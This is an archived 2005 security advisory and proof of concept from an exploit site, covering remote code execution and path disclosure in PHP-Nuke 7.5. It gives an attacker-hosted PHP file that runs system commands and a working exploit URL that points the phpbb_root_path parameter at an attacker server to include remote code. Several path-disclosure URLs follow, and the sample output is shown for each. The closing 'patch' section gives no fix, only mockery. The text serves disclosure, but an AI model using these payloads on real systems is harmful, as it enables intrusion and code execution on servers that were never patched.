exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sile002adv.txt

sile002adv.txt
Posted Jul 13, 2005
Authored by Silentium | Site autistici.org

PHP-Nuke version 7.5 remote code execution exploit.

tags | exploit, remote, php, code execution
SHA-256 | b07b52721366f8210a369cf5ea7fb60b1d2d1108f367ea9b3eb53b8641382132

sile002adv.txt

Change Mirror Download
                              ----



**********************************************************

* *

* sile002 advisory + PoC *

* *

* PRODUCT: PHP-Nuke *

* VERSION: 7.5 but others versions *

* maybe either vulnerables *

* *

* VENDOR: http://www.phpnuke.org *

* VULNERABILITY: Multiple vulnerability *

* RISK: Hight *

* *

* Found by: Silentium of Anacron Group Italy *

* date: 02/05/2005 *

* e-mail: anacrongroupitaly[at]autistici[dot]org *

* my_home: http://www.autistici.org/anacron-group-italy *

* *

**********************************************************





General product info

--------------------

PHP-Nuke is a Web Portal System.

PHP-Nuke is free software, released under GNU GPL Licence version 2.0

PHP-Nuke is the result of many years administrating a news site called

Linux Preview (http://linuxpreview.org)....bla..bla..bla ;\





General bug info

----------------

I have found one PHP injection vulnerability

relative at Forums module into page



/modules/Forums/admin/admin_styles.php



The vulnerable variable is $phpbb_root_path

This wait for common.php page, but an attacker

can link remote 'common.php' page, and execute

remote code on vulnerable machine.



An attacker can to create own php page and uploading

it into own web server; example of page



cat common.php



<?



// This is simple attacker common.php page

// for execute remote code on machines vulnerable

// at PHP injection found on PHP-Nuke v7.5 by Silentium



system("id;uname -a");



?>





Exploiting this bug

-------------------



1) [PHP Injection + Path Disclosure]



Input in your browser:



http://www.victim.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://attacker/



Output from web server:



uid=80(www) gid=80(www)

Linux victim 2.4.27 #6 Tue Oct 18 15:24:11 PDT 2003 i686 unknown unknown GNU/Linux


Fatal error: Call to undefined function: message_die() in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 81





The PHP injection to produce also an error showing the path of web server:



/var/www/htdocs







2) [Path Disclosure]



Input in your browser:



http://www.victim.com/modules/Forums/admin/admin_forums.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_disallow.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_smilies.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_board.php?phpEx=silentium


http://www.victim.com/modules/Forums/admin/admin_users.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_mass_email.php?phpEx=silentium

http://www.victim.com/modules/Forums/admin/admin_forum_prune.php?phpEx=silentium



Output from web server:



Warning: main(./../common.silentium): failed to open stream: No such file or

directory in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 68



Warning: main(): Failed opening './../common.silentium' for inclusion

(include_path='.:/usr/local/lib/php') in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 68



Fatal error: Call to undefined function: message_die()

in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 81



OR



Input in your browser:



http://www.victim.com/db/db.php?the_include=silentium



Output from web server:



Fatal error: Cannot instantiate non-existent class: sql_db in

/var/www/htdocs/db/db.php on line 86





Patching this bug

-----------------

You dont use stupid and ever bugged ;\ PHP-Nuke product,

if you need also an little security !!!






Login or Register to add favorites

File Archive:

September 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    2 Files
  • 2
    Sep 2nd
    21 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    17 Files
  • 5
    Sep 5th
    34 Files
  • 6
    Sep 6th
    29 Files
  • 7
    Sep 7th
    11 Files
  • 8
    Sep 8th
    25 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    26 Files
  • 12
    Sep 12th
    23 Files
  • 13
    Sep 13th
    17 Files
  • 14
    Sep 14th
    22 Files
  • 15
    Sep 15th
    16 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    19 Files
  • 19
    Sep 19th
    60 Files
  • 20
    Sep 20th
    23 Files
  • 21
    Sep 21st
    15 Files
  • 22
    Sep 22nd
    8 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    17 Files
  • 26
    Sep 26th
    3 Files
  • 27
    Sep 27th
    13 Files
  • 28
    Sep 28th
    5 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close